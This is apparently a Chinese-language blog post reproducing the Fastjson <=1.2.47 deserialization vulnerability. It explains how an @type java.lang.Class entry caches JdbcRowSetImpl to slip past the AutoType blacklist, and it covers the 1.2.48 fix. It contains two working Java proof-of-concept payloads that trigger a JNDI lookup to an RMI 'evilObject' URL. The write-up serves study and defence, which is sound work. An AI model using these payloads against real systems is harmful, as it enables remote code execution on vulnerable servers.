Fastjson<=1.2.47漏洞复现

Fastjson<=1.2.47漏洞复现

Posted by SEVENTEEN on April 10, 2022

前言

   这里继续跟进一下下一个版本的漏洞利用。

影响版本

1.2.25-1.2.32:

   未开启AutoTypeSupport时能成功利用

1.2.33-1.2.47:

   无论是否开启AutoTypeSupport都能成功利用

1.2.25<=Fastjson<=1.2.32

   因为没有开启AutoTypeSupport,所以就不会进入这个if黑白名单判断的逻辑,并且传入的是java.lang.class在下面也能绕过黑名单,重点还是看第二个键值解析。

   与前面的利用链不同,这里是在com.alibaba.fastjson.parser.DefaultJSONParser方法中调用MiscCodec类的deserialze方法。

   重点看一下deserialze方法,这里通过parse方法获取objVal,之后又赋值给了strVal。

   然后到了这个地方通过TypeUtils.loadClass方法加载strVal中的类。

   之后在这个方法中将strVal加入到mapping中。

   到了后面会从mapping中加载第二个键值,也就绕过了第一次加载的检测。

EXP

import com.alibaba.fastjson.JSON;

public class Fastjson6 {
    public static void main(String[] args) throws Exception{
        String payload = "{\n" +
                "    \"a\":{\n" +
                "        \"@type\":\"java.lang.Class\",\n" +
                "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
                "    },\n" +
                "    \"b\":{\n" +
                "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
                "        \"dataSourceName\":\"rmi://127.0.0.1:1099/evilObject\",\n" +
                "        \"autoCommit\":true\n" +
                "    }\n" +
                "}";
        JSON.parse(payload);
    }
}

1.2.33<=Fastjson<=1.2.47

   这里只对开启AutoTypeSupport的1.2.47版本做分析,解析第一个键值的过程与上面的差不多,一样利用MiscCodec类的deserialze方法将恶意类存放入Mapping中。 主要的区别还是在第二个键值的解析上,因为开启了AutoTypeSupport,所以会进入黑白名单校验,这里来看一下怎么绕过的。

   这里都是hash比较难看,但根据前文或者变量名可以判断出因为开启了AutoTypeSupport,所以会先进行白名单判断,再进行黑名单校验。 而第二个键值的解析自然是过不了白名单检验,并且会进入黑名单校验,com.sun.rowset.JdbcRowSetImpl肯定是过不了黑名单校验的。 好在黑名单校验的if判断条件中是需要两个必须同时满足的条件,而第二个条件是不满足的,因为解析第一键值的时候会把第二个键值存入Mapping中。

   在1.2.25-1.2.32版本开启AutoTypeSupport利用失败的原因是,黑名单判断逻辑里面少了一个TypeUtils.getClassFromMapping(typeName) == null导致可以进入黑名单判断。

补丁

   在1.2.48版本中这里多了一个缓存判断,并且缓存默认为false,这意味着无法向mapping中存入恶意类名来绕过黑名单判断。

EXP

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fastjson6 {
    public static void main(String[] args) throws Exception{
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\n" +
                "    \"a\":{\n" +
                "        \"@type\":\"java.lang.Class\",\n" +
                "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
                "    },\n" +
                "    \"b\":{\n" +
                "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
                "        \"dataSourceName\":\"rmi://127.0.0.1:1099/evilObject\",\n" +
                "        \"autoCommit\":true\n" +
                "    }\n" +
                "}";
        JSON.parse(payload);
    }
}

There Is Nothing Below

   

Turn at the next intersection.